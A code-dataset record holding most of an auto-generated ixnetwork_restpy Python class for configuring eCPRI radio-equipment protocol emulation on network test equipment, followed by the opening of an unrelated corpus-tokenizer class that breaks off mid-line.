\"\"\"\n Returns\n -------\n - number: Number of elements inside associated multiplier-scaled container object, e.g. number of devices inside a Device Group.\n \"\"\"\n return self._get_attribute(self._SDM_ATT_MAP[\"Count\"])\n\n @property\n def DelayMeasurementId(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): The Measurement ID is a 1-byte value used by the sender of the request when the response is received to distinguish between different measurements, i.e. the receiver of the request shall copy the ID from the request into the response message.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(\n self, self._get_attribute(self._SDM_ATT_MAP[\"DelayMeasurementId\"])\n )\n\n @property\n def DescriptiveName(self):\n # type: () -> str\n \"\"\"\n Returns\n -------\n - str: Longer, more descriptive name for element. It's not guaranteed to be unique like -name-, but may offer more context.\n \"\"\"\n return self._get_attribute(self._SDM_ATT_MAP[\"DescriptiveName\"])\n\n @property\n def DummyBytesLength(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): The number of dummy bytes included in the eCPRI-payload will be defined by the eCPRI payload size field in the eCPRI common header. Due to network characteristics, a small message might take shorter time through the network than a large one, with the dummy bytes the one-way delay estimation can be improved. The insertion of dummy bytes is only needed when the Action Type set to 0x00 (Request) or to 0x01(Request with Follow_Up).\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(\n self, self._get_attribute(self._SDM_ATT_MAP[\"DummyBytesLength\"])\n )\n\n @property\n def ElementId(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): Depending on implementation the Element ID could be used for instance to point out a specific instance of a generic hardware function.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"ElementId\"]))\n\n @property\n def Errors(self):\n \"\"\"\n Returns\n -------\n - list(dict(arg1:str[None | /api/v1/sessions/1/ixnetwork/],arg2:list[str])): A list of errors that have occurred\n \"\"\"\n return self._get_attribute(self._SDM_ATT_MAP[\"Errors\"])\n\n @property\n def EventId(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): A 1-byte value set by the transmitter of an Event Indication or a Synchronization Request to enable identification of the acknowledge response.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"EventId\"]))\n\n @property\n def EventSequenceNumber(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): The Sequence Number is a 1-byte value that is incremented each time the transmitter sends the Event Indication with Event Type set to 0x00 (Fault(s) Indication). The receiver will use the sequence number to ensure that the correct status for a specific combination of {Element-ID; Fault-value} is used. Due to the nature of the packet based fronthaul network, packets might be delivered out of order and a sequence number is needed to handle this scenario. When a fault indication is not acknowledged the transmitter will re-transmit the fault, setting the sequence number to the same value used in the initial transmission.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(\n self, self._get_attribute(self._SDM_ATT_MAP[\"EventSequenceNumber\"])\n )\n\n @property\n def EventType(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): Event Type value ranges from 0x00 to 0xFF, where 0x00 represents Fault(s) Indication, 0x01 represents Fault(s) Indication Acknowledge, 0x02 represents Notification(s) Indication, 0x03 represents Synchronization Request, 0x04 represents Synchronization Acknowledge, 0x05 represents Synchronization End Indication and values from 0x06 to 0xFF are Reserved.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"EventType\"]))\n\n @property\n def MessageType(self):\n # type: () -> str\n \"\"\"\n Returns\n -------\n - str(realTimeControlData | remoteMemoryAccess | onewayDelayMeasurement | remoteReset | eventIndication): Message Type\n \"\"\"\n return self._get_attribute(self._SDM_ATT_MAP[\"MessageType\"])\n\n @MessageType.setter\n def MessageType(self, value):\n # type: (str) -> None\n self._set_attribute(self._SDM_ATT_MAP[\"MessageType\"], value)\n\n @property\n def Multiplier(self):\n # type: () -> int\n \"\"\"\n Returns\n -------\n - number: Number of layer instances per parent instance (multiplier)\n \"\"\"\n return self._get_attribute(self._SDM_ATT_MAP[\"Multiplier\"])\n\n @Multiplier.setter\n def Multiplier(self, value):\n # type: (int) -> None\n self._set_attribute(self._SDM_ATT_MAP[\"Multiplier\"], value)\n\n @property\n def Name(self):\n # type: () -> str\n \"\"\"\n Returns\n -------\n - str: Name of NGPF element, guaranteed to be unique in Scenario\n \"\"\"\n return self._get_attribute(self._SDM_ATT_MAP[\"Name\"])\n\n @Name.setter\n def Name(self, value):\n # type: (str) -> None\n self._set_attribute(self._SDM_ATT_MAP[\"Name\"], value)\n\n @property\n def NumberOfFaultSubObjects(self):\n # type: () -> int\n \"\"\"\n Returns\n -------\n - number: Number Of Fault or Notify.\n \"\"\"\n return self._get_attribute(self._SDM_ATT_MAP[\"NumberOfFaultSubObjects\"])\n\n @NumberOfFaultSubObjects.setter\n def NumberOfFaultSubObjects(self, value):\n # type: (int) -> None\n self._set_attribute(self._SDM_ATT_MAP[\"NumberOfFaultSubObjects\"], value)\n\n @property\n def ReadWriteType(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): The field consist of two parts, a read or write indication and a request or response indication. The Response value 0010b (Failure) is used when the receiver of the request is unable to perform the read or write request due to invalid content in received parameters or other faults.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"ReadWriteType\"]))\n\n @property\n def RemoteResetId(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): Depending on implementation the Reset ID could be used for instance to point out a specific instance of a generic hardware function. Value allocation to Reset ID is vendor specific.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"RemoteResetId\"]))\n\n @property\n def ReservedActionType(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): The Action Type is a 1-byte value. Value 0x00 and 0x01 are used when an eCPRI node initiates a one-way delay measurement in direction from its own node to another node. Value 0x02 is used when an eCPRI node needs to know the one-way delay from another node to itself.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(\n self, self._get_attribute(self._SDM_ATT_MAP[\"ReservedActionType\"])\n )\n\n @property\n def ReservedEventType(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): Reserved Event Type values from 0x06 to 0xFF are Reserved.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(\n self, self._get_attribute(self._SDM_ATT_MAP[\"ReservedEventType\"])\n )\n\n @property\n def ReservedResetCode(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): The Reset Code Op is a 1-byte value. Value 0x00 represents Reserved, 0x01 represents Remote reset request, 0x02 represents Remote reset response and value ranging from 0x03 to 0xFF are Reserved.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(\n self, self._get_attribute(self._SDM_ATT_MAP[\"ReservedResetCode\"])\n )\n\n @property\n def ResetCodeOp(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): The Reset Code Op is a 1-byte value. Value 0x00 represents Reserved, 0x01 represents Remote Reset Request, 0x02 represents Remote Reset Response.Values from 0x03 to 0xFF is Reserved.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"ResetCodeOp\"]))\n\n @property\n def RmaAction(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): RMA Action Type is Request or Response or Failure.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"RmaAction\"]))\n\n @property\n def RmaDataLength(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): Number of bytes(0 to 255) to read or write from or to remote node.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"RmaDataLength\"]))\n\n @property\n def RtcDataLength(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): Size of RTC data that will be included in the eCPRI message.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"RtcDataLength\"]))\n\n @property\n def SequenceId(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): An identifier of each message in a series of Real-Time Control Data messages. For example, identifier of message sequence, links between request and response messages,etc. Value allocation to SEQ_ID is vendor specific.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"SequenceId\"]))\n\n @property\n def SessionStatus(self):\n # type: () -> List[str]\n \"\"\"\n Returns\n -------\n - list(str[down | notStarted | up]): Current state of protocol session: Not Started - session negotiation not started, the session is not active yet. Down - actively trying to bring up a protocol session, but negotiation is didn't successfully complete (yet). Up - session came up successfully.\n \"\"\"\n return self._get_attribute(self._SDM_ATT_MAP[\"SessionStatus\"])\n\n @property\n def StackedLayers(self):\n # type: () -> List[str]\n \"\"\"\n Returns\n -------\n - list(str[None | /api/v1/sessions/1/ixnetwork/topology]): List of secondary (many to one) child layer protocols\n \"\"\"\n return self._get_attribute(self._SDM_ATT_MAP[\"StackedLayers\"])\n\n @StackedLayers.setter\n def StackedLayers(self, value):\n # type: (List[str]) -> None\n self._set_attribute(self._SDM_ATT_MAP[\"StackedLayers\"], value)\n\n @property\n def StartingRmaId(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): Identifier of the request message used by the Initiator to match the corresponding response message.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"StartingRmaId\"]))\n\n @property\n def StartingRtcId(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): RTC ID of the eRE or eREC.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"StartingRtcId\"]))\n\n @property\n def StateCounts(self):\n \"\"\"\n Returns\n -------\n - dict(total:number,notStarted:number,down:number,up:number): A list of values that indicates the total number of sessions, the number of sessions not started, the number of sessions down and the number of sessions that are up\n \"\"\"\n return self._get_attribute(self._SDM_ATT_MAP[\"StateCounts\"])\n\n @property\n def Status(self):\n # type: () -> str\n \"\"\"\n Returns\n -------\n - str(configured | error | mixed | notStarted | started | starting | stopping): Running status of associated network element. Once in Started state, protocol sessions will begin to negotiate.\n \"\"\"\n return self._get_attribute(self._SDM_ATT_MAP[\"Status\"])\n\n @property\n def TimeStamp(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): When Action Type is set to 0x00 (Request) in the message this field will contain the time stamp t1 and when Action Type is set to 0x02 (Response) the time stamp t2. When action type is set to 0x01(Request with Follow_Up) the time stamp information fields shall be set to 0b in all bits, the corresponding time information values are sent in the Follow_Up message. When Action Type is set to 0x03 or 0x04 (Remote Request and Remote Request with Follow_Up) the time stamp information fields shall be set to 0b in all bits. When using the Follow_Up message (2-Step version) the Follow_Up message (Action Type set to 0x05) the time information values t1 and tCV1 will be set to the TimeStamp field. The time information values follow the format specified in IEEE 1588-2008 [13] Clause 5.3.3. The value consists of 2 parts, one seconds-part and one nanoseconds-part. The first 6 bytes are the seconds and the next 4 bytes are the nanoseconds.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"TimeStamp\"]))\n\n @property\n def VendorSpecificPayloadLength(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): Vendor Specific Payload bytes are used to carry optional vendor-specific information. The vendor specific information can contain data items such as authentication parameters or any parameters to select a specific reset behavior. This specification does not detail any concrete reset behavior.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(\n self, self._get_attribute(self._SDM_ATT_MAP[\"VendorSpecificPayloadLength\"])\n )\n\n def update(\n self,\n ConnectedVia=None,\n MessageType=None,\n Multiplier=None,\n Name=None,\n NumberOfFaultSubObjects=None,\n StackedLayers=None,\n ):\n # type: (List[str], str, int, str, int, List[str]) -> ECpriRe\n \"\"\"Updates eCpriRe resource on the server.\n\n This method has some named parameters with a type: obj (Multivalue).\n The Multivalue class has documentation that details the possible values for those named parameters.\n\n Args\n ----\n - ConnectedVia (list(str[None | /api/v1/sessions/1/ixnetwork/topology])): List of layers this layer is used to connect with to the wire.\n - MessageType (str(realTimeControlData | remoteMemoryAccess | onewayDelayMeasurement | remoteReset | eventIndication)): Message Type\n - Multiplier (number): Number of layer instances per parent instance (multiplier)\n - Name (str): Name of NGPF element, guaranteed to be unique in Scenario\n - NumberOfFaultSubObjects (number): Number Of Fault or Notify.\n - StackedLayers (list(str[None | /api/v1/sessions/1/ixnetwork/topology])): List of secondary (many to one) child layer protocols\n\n Raises\n ------\n - ServerError: The server has encountered an uncategorized error condition\n \"\"\"\n return self._update(self._map_locals(self._SDM_ATT_MAP, locals()))\n\n def add(\n self,\n ConnectedVia=None,\n MessageType=None,\n Multiplier=None,\n Name=None,\n NumberOfFaultSubObjects=None,\n StackedLayers=None,\n ):\n # type: (List[str], str, int, str, int, List[str]) -> ECpriRe\n \"\"\"Adds a new eCpriRe resource on the server and adds it to the container.\n\n Args\n ----\n - ConnectedVia (list(str[None | /api/v1/sessions/1/ixnetwork/topology])): List of layers this layer is used to connect with to the wire.\n - MessageType (str(realTimeControlData | remoteMemoryAccess | onewayDelayMeasurement | remoteReset | eventIndication)): Message Type\n - Multiplier (number): Number of layer instances per parent instance (multiplier)\n - Name (str): Name of NGPF element, guaranteed to be unique in Scenario\n - NumberOfFaultSubObjects (number): Number Of Fault or Notify.\n - StackedLayers (list(str[None | /api/v1/sessions/1/ixnetwork/topology])): List of secondary (many to one) child layer protocols\n\n Returns\n -------\n - self: This instance with all currently retrieved eCpriRe resources using find and the newly added eCpriRe resources available through an iterator or index\n\n Raises\n ------\n - ServerError: The server has encountered an uncategorized error condition\n \"\"\"\n return self._create(self._map_locals(self._SDM_ATT_MAP, locals()))\n\n def remove(self):\n \"\"\"Deletes all the contained eCpriRe resources in this instance from the server.\n\n Raises\n ------\n - NotFoundError: The requested resource does not exist on the server\n - ServerError: The server has encountered an uncategorized error condition\n \"\"\"\n self._delete()\n\n def find(\n self,\n ConnectedVia=None,\n Count=None,\n DescriptiveName=None,\n Errors=None,\n MessageType=None,\n Multiplier=None,\n Name=None,\n NumberOfFaultSubObjects=None,\n SessionStatus=None,\n StackedLayers=None,\n StateCounts=None,\n Status=None,\n ):\n \"\"\"Finds and retrieves eCpriRe resources from the server.\n\n All named parameters are evaluated on the server using regex. The named parameters can be used to selectively retrieve eCpriRe resources from the server.\n To retrieve an exact match ensure the parameter value starts with ^ and ends with $\n By default the find method takes no parameters and will retrieve all eCpriRe resources from the server.\n\n Args\n ----\n - ConnectedVia (list(str[None | /api/v1/sessions/1/ixnetwork/topology])): List of layers this layer is used to connect with to the wire.\n - Count (number): Number of elements inside associated multiplier-scaled container object, e.g. number of devices inside a Device Group.\n - DescriptiveName (str): Longer, more descriptive name for element. It's not guaranteed to be unique like -name-, but may offer more context.\n - Errors (list(dict(arg1:str[None | /api/v1/sessions/1/ixnetwork/],arg2:list[str]))): A list of errors that have occurred\n - MessageType (str(realTimeControlData | remoteMemoryAccess | onewayDelayMeasurement | remoteReset | eventIndication)): Message Type\n - Multiplier (number): Number of layer instances per parent instance (multiplier)\n - Name (str): Name of NGPF element, guaranteed to be unique in Scenario\n - NumberOfFaultSubObjects (number): Number Of Fault or Notify.\n - SessionStatus (list(str[down | notStarted | up])): Current state of protocol session: Not Started - session negotiation not started, the session is not active yet. Down - actively trying to bring up a protocol session, but negotiation is didn't successfully complete (yet). Up - session came up successfully.\n - StackedLayers (list(str[None | /api/v1/sessions/1/ixnetwork/topology])): List of secondary (many to one) child layer protocols\n - StateCounts (dict(total:number,notStarted:number,down:number,up:number)): A list of values that indicates the total number of sessions, the number of sessions not started, the number of sessions down and the number of sessions that are up\n - Status (str(configured | error | mixed | notStarted | started | starting | stopping)): Running status of associated network element. Once in Started state, protocol sessions will begin to negotiate.\n\n Returns\n -------\n - self: This instance with matching eCpriRe resources retrieved from the server available through an iterator or index\n\n Raises\n ------\n - ServerError: The server has encountered an uncategorized error condition\n \"\"\"\n return self._select(self._map_locals(self._SDM_ATT_MAP, locals()))\n\n def read(self, href):\n \"\"\"Retrieves a single instance of eCpriRe data from the server.\n\n Args\n ----\n - href (str): An href to the instance to be retrieved\n\n Returns\n -------\n - self: This instance with the eCpriRe resources from the server available through an iterator or index\n\n Raises\n ------\n - NotFoundError: The requested resource does not exist on the server\n - ServerError: The server has encountered an uncategorized error condition\n \"\"\"\n return self._read(href)\n\n def Abort(self, *args, **kwargs):\n # type: (*Any, **Any) -> None\n \"\"\"Executes the abort operation on the server.\n\n Abort CPF control plane (equals to demote to kUnconfigured state).\n\n The IxNetwork model allows for multiple method Signatures with the same name while python does not.\n\n abort(async_operation=bool)\n ---------------------------\n - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n abort(SessionIndices=list, async_operation=bool)\n ------------------------------------------------\n - SessionIndices (list(number)): This parameter requires an array of session numbers 1 2 3\n - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n abort(SessionIndices=string, async_operation=bool)\n --------------------------------------------------\n - SessionIndices (str): This parameter requires a string of session numbers 1-4;6;7-12\n - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n Raises\n ------\n - NotFoundError: The requested resource does not exist on the server\n - ServerError: The server has encountered an uncategorized error condition\n \"\"\"\n payload = {\"Arg1\": self}\n for i in range(len(args)):\n payload[\"Arg%s\" % (i + 2)] = args[i]\n for item in kwargs.items():\n payload[item[0]] = item[1]\n return self._execute(\"abort\", payload=payload, response_object=None)\n\n def RestartDown(self, *args, **kwargs):\n # type: (*Any, **Any) -> None\n \"\"\"Executes the restartDown operation on the server.\n\n Stop and start interfaces and sessions that are in Down state.\n\n The IxNetwork model allows for multiple method Signatures with the same name while python does not.\n\n restartDown(async_operation=bool)\n ---------------------------------\n - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n restartDown(SessionIndices=list, async_operation=bool)\n ------------------------------------------------------\n - SessionIndices (list(number)): This parameter requires an array of session numbers 1 2 3\n - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n restartDown(SessionIndices=string, async_operation=bool)\n --------------------------------------------------------\n - SessionIndices (str): This parameter requires a string of session numbers 1-4;6;7-12\n - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n Raises\n ------\n - NotFoundError: The requested resource does not exist on the server\n - ServerError: The server has encountered an uncategorized error condition\n \"\"\"\n payload = {\"Arg1\": self}\n for i in range(len(args)):\n payload[\"Arg%s\" % (i + 2)] = args[i]\n for item in kwargs.items():\n payload[item[0]] = item[1]\n return self._execute(\"restartDown\", payload=payload, response_object=None)\n\n def Start(self, *args, **kwargs):\n # type: (*Any, **Any) -> None\n \"\"\"Executes the start operation on the server.\n\n Start CPF control plane (equals to promote to negotiated state).\n\n The IxNetwork model allows for multiple method Signatures with the same name while python does not.\n\n start(async_operation=bool)\n ---------------------------\n - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n start(SessionIndices=list, async_operation=bool)\n ------------------------------------------------\n - SessionIndices (list(number)): This parameter requires an array of session numbers 1 2 3\n - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n start(SessionIndices=string, async_operation=bool)\n --------------------------------------------------\n - SessionIndices (str): This parameter requires a string of session numbers 1-4;6;7-12\n - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n Raises\n ------\n - NotFoundError: The requested resource does not exist on the server\n - ServerError: The server has encountered an uncategorized error condition\n \"\"\"\n payload = {\"Arg1\": self}\n for i in range(len(args)):\n payload[\"Arg%s\" % (i + 2)] = args[i]\n for item in kwargs.items():\n payload[item[0]] = item[1]\n return self._execute(\"start\", payload=payload, response_object=None)\n\n def Stop(self, *args, **kwargs):\n # type: (*Any, **Any) -> None\n \"\"\"Executes the stop operation on the server.\n\n Stop CPF control plane (equals to demote to PreValidated-DoDDone state).\n\n The IxNetwork model allows for multiple method Signatures with the same name while python does not.\n\n stop(async_operation=bool)\n --------------------------\n - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n stop(SessionIndices=list, async_operation=bool)\n -----------------------------------------------\n - SessionIndices (list(number)): This parameter requires an array of session numbers 1 2 3\n - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n stop(SessionIndices=string, async_operation=bool)\n -------------------------------------------------\n - SessionIndices (str): This parameter requires a string of session numbers 1-4;6;7-12\n - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n Raises\n ------\n - NotFoundError: The requested resource does not exist on the server\n - ServerError: The server has encountered an uncategorized error condition\n \"\"\"\n payload = {\"Arg1\": self}\n for i in range(len(args)):\n payload[\"Arg%s\" % (i + 2)] = args[i]\n for item in kwargs.items():\n payload[item[0]] = item[1]\n return self._execute(\"stop\", payload=payload, response_object=None)\n\n def get_device_ids(\n self,\n PortNames=None,\n ActionType=None,\n Active=None,\n Address=None,\n CompensationValue=None,\n DelayMeasurementId=None,\n DummyBytesLength=None,\n ElementId=None,\n EventId=None,\n EventSequenceNumber=None,\n EventType=None,\n ReadWriteType=None,\n RemoteResetId=None,\n ReservedActionType=None,\n ReservedEventType=None,\n ReservedResetCode=None,\n ResetCodeOp=None,\n RmaAction=None,\n RmaDataLength=None,\n RtcDataLength=None,\n SequenceId=None,\n StartingRmaId=None,\n StartingRtcId=None,\n TimeStamp=None,\n VendorSpecificPayloadLength=None,\n ):\n \"\"\"Base class infrastructure that gets a list of eCpriRe device ids encapsulated by this object.\n\n Use the optional regex parameters in the method to refine the list of device ids encapsulated by this object.\n\n Args\n ----\n - PortNames (str): optional regex of port names\n - ActionType (str): optional regex of actionType\n - Active (str): optional regex of active\n - Address (str): optional regex of address\n - CompensationValue (str): optional regex of compensationValue\n - DelayMeasurementId (str): optional regex of delayMeasurementId\n - DummyBytesLength (str): optional regex of dummyBytesLength\n - ElementId (str): optional regex of elementId\n - EventId (str): optional regex of eventId\n - EventSequenceNumber (str): optional regex of eventSequenceNumber\n - EventType (str): optional regex of eventType\n - ReadWriteType (str): optional regex of readWriteType\n - RemoteResetId (str): optional regex of remoteResetId\n - ReservedActionType (str): optional regex of reservedActionType\n - ReservedEventType (str): optional regex of reservedEventType\n - ReservedResetCode (str): optional regex of reservedResetCode\n - ResetCodeOp (str): optional regex of resetCodeOp\n - RmaAction (str): optional regex of rmaAction\n - RmaDataLength (str): optional regex of rmaDataLength\n - RtcDataLength (str): optional regex of rtcDataLength\n - SequenceId (str): optional regex of sequenceId\n - StartingRmaId (str): optional regex of startingRmaId\n - StartingRtcId (str): optional regex of startingRtcId\n - TimeStamp (str): optional regex of timeStamp\n - VendorSpecificPayloadLength (str): optional regex of vendorSpecificPayloadLength\n\n Returns\n -------\n - list(int): A list of device ids that meets the regex criteria provided in the method parameters\n\n Raises\n ------\n - ServerError: The server has encountered an uncategorized error condition\n \"\"\"\n return self._get_ngpf_device_ids(locals())\n", "sub_path": "ixnetwork_restpy/testplatform/sessions/ixnetwork/topology/ecprire_51f1030cbafd2e567d3b517032a1b011.py", "file_name": "ecprire_51f1030cbafd2e567d3b517032a1b011.py", "file_ext": "py", "file_size_in_byte": 43244, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "sys.version_info", "line_number": 26, "usage_type": "attribute"}, {"api_name": "ixnetwork_restpy.base.Base", "line_number": 30, "usage_type": "name"}, {"api_name": "ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.connector_d0d942810e4010add7642d3914a1f29b.Connector", "line_number": 117, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.ecprifaultsubobjectslist_066a935ffc4b8b88998000da08d713eb.ECpriFaultSubObjectsList", "line_number": 137, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.orandu_3c913d8352aa36ef882a1ba8a0683584.OranDU", "line_number": 157, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.oranru_c5d61b81f2557e778753a97ef8b7363b.OranRU", "line_number": 177, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 189, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 201, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 213, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 225, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 264, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 288, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 302, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 323, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 335, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 349, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 421, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 433, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 445, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 459, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 473, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 487, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 499, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 511, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 523, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 535, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 572, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 584, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 615, "usage_type": "call"}, {"api_name": "ixnetwork_restpy.multivalue.Multivalue", "line_number": 627, "usage_type": "call"}]} +{"seq_id": "642630602", "text": "import itertools\n\nimport datetime\nimport logging\n\nimport time\nfrom bson import ObjectId\n\nfrom . import preprocessing\nfrom ..utils.time_utils import estimate_eta\n\n__author__ = \"Haoyan Huo\"\n__maintainer__ = \"Haoyan Huo\"\n__email__ = \"haoyan.huo@lbl.gov\"\n\n\nclass CorpusTokenizer(object):\n def __init__(self, document_generator, token_storage, token_filter):\n \"\"\"\n Tokenize documents in a corpus to individual tokens.\n\n :param document_generator: A generator that gives documents, or (label, document) tuples.\n :param token_storage: Token storage instance.\n :type token_storage: TokenStorage\n :param token_filter:\n \"\"\"\n self.document_generator = document_generator\n self.token_storage = token_storage\n self.token_filter = token_filter\n\n def _feed_storage(self, tokens, label):\n for token in tokens:\n if not isinstance(token, str):\n raise ValueError('toke must be a str object!')\n if ' ' in token:\n raise ValueError('token must not contain whitespace!')\n if '\\n' in token:\n raise ValueError('token must not contain newline!')\n\n self.token_storage.feed(tokens, label=label)\n\n def _process_sentences(self, sentences, document_label, processor):\n if not sentences:\n return\n\n orths, lemma, pos = zip(*sentences)\n orths = list(itertools.chain(*orths))\n lemma = list(itertools.chain(*lemma))\n pos = list(itertools.chain(*pos))\n tokens = 